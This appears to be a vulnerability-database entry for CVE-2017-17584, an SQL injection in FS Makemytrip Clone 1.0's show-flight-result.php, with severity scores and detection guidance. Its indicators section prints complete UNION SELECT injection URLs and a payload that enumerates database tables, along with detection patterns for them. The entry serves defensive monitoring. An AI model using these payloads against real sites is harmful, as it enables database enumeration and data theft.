cbcvebase.
CVE-2017-17584
published 2017-12-13

CVE-2017-17584: FS Makemytrip Clone 1.0 has SQL Injection via the show-flight-result.php fl_orig or fl_dest parameter.

PriorityP260critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
2.98%
85.6th percentile
FS Makemytrip Clone 1.0 has SQL Injection via the show-flight-result.php fl_orig or fl_dest parameter.

Affected

1 ranges
VendorProductVersion rangeFixed in
makemytrip_clone_projectmakemytrip_clone

Detection & IOCsextracted from sources · hover to see the quote

path/show-flight-result.php
urlhttp://server/show-flight-result.php?&fl_orig=27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
urlhttp://server/show-flight-result.php?fl_dest=27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
command27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
  • Monitor HTTP requests to show-flight-result.php for SQL injection patterns in the 'fl_orig' GET parameter, specifically UNION SELECT payloads with quote-based injection (27' prefix) and comment terminator (--+-).
  • Monitor HTTP requests to show-flight-result.php for SQL injection patterns in the 'fl_dest' GET parameter, specifically UNION SELECT payloads querying INFORMATION_SCHEMA.TABLES to enumerate the database schema.
  • Detect use of hex-encoded separator 0x3c62723e (HTML <br> tag) in SQL payloads via GROUP_CONCAT, a characteristic fingerprint of this exploit's enumeration technique.
  • Flag requests where fl_orig or fl_dest parameters contain UNION SELECT with 28 columns, consistent with the specific table structure targeted by this exploit.
  • ·The exploit targets FS Makemytrip Clone version 1.0 specifically; other versions are not confirmed vulnerable.
  • ·The SQL injection payload uses a 28-column UNION SELECT, meaning detection signatures should account for this specific column count which reflects the target application's database schema.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.